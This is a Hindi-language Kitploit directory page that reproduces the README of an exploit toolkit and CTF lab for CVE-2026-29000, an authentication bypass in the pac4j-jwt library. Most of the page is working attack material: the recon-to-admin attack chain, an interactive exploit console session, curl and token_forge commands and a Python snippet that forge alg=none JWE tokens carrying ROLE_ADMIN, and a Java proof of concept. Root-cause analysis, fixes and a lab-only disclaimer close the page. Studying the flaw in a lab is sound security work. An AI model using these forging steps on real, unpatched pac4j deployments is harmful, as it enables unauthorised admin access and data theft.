Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29000 — # CVE-2026-29000 के लिए CTF लैब और एक्सप्लॉइट टूलकिट, जो pac4j-jwt JWE प्रमाणीकरण बायपास है। इसमें कमजोर Flask टारगेट, टोकन फोर्जिंग लाइब्रेरी, इंटरैक्टिव एक्सप्लॉइट कंसोल, और Java PoC शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/clayofgilgamesh/cve-2026-29000
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षालैब और अभ्यास
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

# CVE-2026-29000 के लिए CTF लैब और एक्सप्लॉइट टूलकिट, जो pac4j-jwt JWE प्रमाणीकरण बायपास है। इसमें कमजोर Flask टारगेट, टोकन फोर्जिंग लाइब्रेरी, इंटरैक्टिव एक्सप्लॉइट कंसोल, और Java PoC शामिल हैं।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-29000 — pac4j-jwt JWE प्रमाणीकरण बाईपास

pac4j-jwt लाइब्रेरी में JWE प्रमाणीकरण भेद्यता पर शोध करने वाला CTF लैब CVSS 9.3 (Critical) · CWE-287 · प्रभावित: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


अवलोकन

pac4j-jwt प्रभावित संस्करणों में एक PlainJWT (alg=none, बिना हस्ताक्षर) बनाकर उसे JWE (JSON Web Encryption) के अंदर लपेटकर पूरे JWT प्रमाणीकरण तंत्र को बायपास करने की अनुमति देता है। JWE परत को डिक्रिप्ट करने के बाद, लाइब्रेरी अंदर के JWT के एल्गोरिदम की जाँच नहीं करती — claims पर पूरी तरह भरोसा किया जाता है, जिसमें role भी शामिल है।

हमले की श्रृंखला:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← version leak → फ्रेमवर्क की पहचान
       ↓
OIDC Discovery → JWKS → RSA public key   ← सार्वजनिक जानकारी
       ↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Auth bypass → GET /admin?token=<JWE>     ← एडमिन पैनल तक पहुंच
       ↓
संवेदनशील डेटा पढ़ें: employee list, system config, flag

प्रोजेक्ट संरचना

root@kitploit:~
CVE-2026-29000/
├── lab/                        # Target – Flask app (NexusBank Employee Portal)
│   ├── app.py                  # भेद्यता वाला मुख्य एप्लिकेशन
│   ├── Dockerfile              # बिल्ड के समय /flag.txt में Flag बेक किया गया
│   └── requirements.txt
│
├── token_forge/                # नकली JWE टोकन बनाने वाली Python लाइब्रेरी
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # इंटरैक्टिव एक्सप्लॉइट कंसोल (Metasploit-शैली)
│
├── poc/                        # Java PoC – in-process बायपास की पुष्टि
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

आवश्यकताएँ

उपकरणसंस्करणनोट
Docker Desktop24+लैब टारगेट चलाने के लिए
Docker Composev2+Docker Desktop में एकीकृत
Python3.11+exploit.py और token_forge चलाने के लिए
Java + Maven11+केवल Java PoC के लिए आवश्यक

स्थापना

1. रिपॉजिटरी क्लोन करें

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Python डिपेंडेंसी इंस्टॉल करें

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. लैब शुरू करें

root@kitploit:~
docker compose up -d lab

लैब चल रहा है इसकी पुष्टि करें:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Flag अनुकूलित करें:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. लैब रोकें

root@kitploit:~
docker compose down

एक्सप्लॉइट — इंटरैक्टिव कंसोल

exploit.py Metasploit-शैली का इंटरैक्टिव कंसोल है। उपयोगकर्ता जानकारी एकत्र करने के लिए स्वयं recon करता है, फिर कॉन्फ़िगर और एक्सप्लॉइट करता है।

root@kitploit:~
python scripts/exploit.py

# या कमांड लाइन से पहले से सेट करें:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

पूर्ण सत्र का उदाहरण:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

एडमिन डैशबोर्ड में जाने के लिए ब्राउज़र में उपरोक्त URL खोलें।

PUBKEY 3 प्रारूपों का समर्थन करता है:

root@kitploit:~
# 1. JWKS URL — स्वतः fetch करें (अनुशंसित)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. डाउनलोड की गई फ़ाइल
set PUBKEY /tmp/key.json

# 3. सीधे raw JSON पेस्ट करें
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

मैनुअल एक्सप्लॉइट (exploit.py के बिना)

चरण 1 — Recon

root@kitploit:~
# रिस्पॉन्स हेडर से फ्रेमवर्क का पता लगाएं
curl -sI http://TARGET:8080

# छिपा हुआ एंडपॉइंट खोजें
curl -s http://TARGET:8080/robots.txt

चरण 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j हमेशा इस एंडपॉइंट को expose करता है
curl -s http://TARGET:8080/.well-known/openid-configuration

# jwks_uri से RSA public key प्राप्त करें
curl -s http://TARGET:8080/.well-known/jwks.json

चरण 3 — JWE टोकन फोर्ज करें

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

चरण 4 — एडमिन पैनल तक पहुंचें

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# बायपास की पुष्टि करें
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# ब्राउज़र में एडमिन डैशबोर्ड खोलें
echo "http://TARGET:8080/admin?token=$TOKEN"

token_forge को Python लाइब्रेरी के रूप में उपयोग करना

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

Java PoC (in-process)

Nimbus JOSE + pac4j 6.0.3 के साथ सीधे JVM में बायपास की पुष्टि करें:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# केवल टोकन प्रिंट करें
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

टेस्ट चलाना

root@kitploit:~
pytest tests/ -v

# कवरेज रिपोर्ट के साथ
pytest tests/ -v --cov=token_forge --cov-report=term-missing

भेद्यता का कारण

स्थानसमस्या
JwtAuthenticator.validateToken()JWE डिक्रिप्ट करने के बाद, SignedJWT.parse() के बजाय PlainJWT.parse() कॉल करता है
लैब में _payload_to_claims()base64decode + json.loads सीधे, हस्ताक्षर सत्यापित नहीं करता

गलत प्रोसेसिंग फ्लो:

root@kitploit:~
JWE decrypt → payload प्राप्त करें → base64decode → json.loads → claims पर भरोसा करें
                                         ↑ अंदर के JWT हस्ताक्षर सत्यापन चरण गायब

सुधार

उपायविवरण
pac4j-jwt अपग्रेड करें>= 6.3.3 / 5.7.9 / 4.5.9 पर
PlainJWT अस्वीकार करेंJWE डिक्रिप्ट करने के बाद alg != "none" जाँचें
वर्शन हेडर हटाएंप्रोडक्शन में X-Powered-By बंद करें
Least privilegeकंटेनर को root अधिकारों के साथ न चलाएं

संदर्भ दस्तावेज़

  • pac4j Security Advisory
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Improper Authentication
  • https://github.com/kernelzeroday/CVE-2026-29000

चेतावनी: यह रिपॉजिटरी केवल नियंत्रित वातावरण में सुरक्षा अनुसंधान और CTF उद्देश्यों के लिए है। अनधिकृत सिस्टम पर उपयोग न करें।

टूल डाउनलोड करें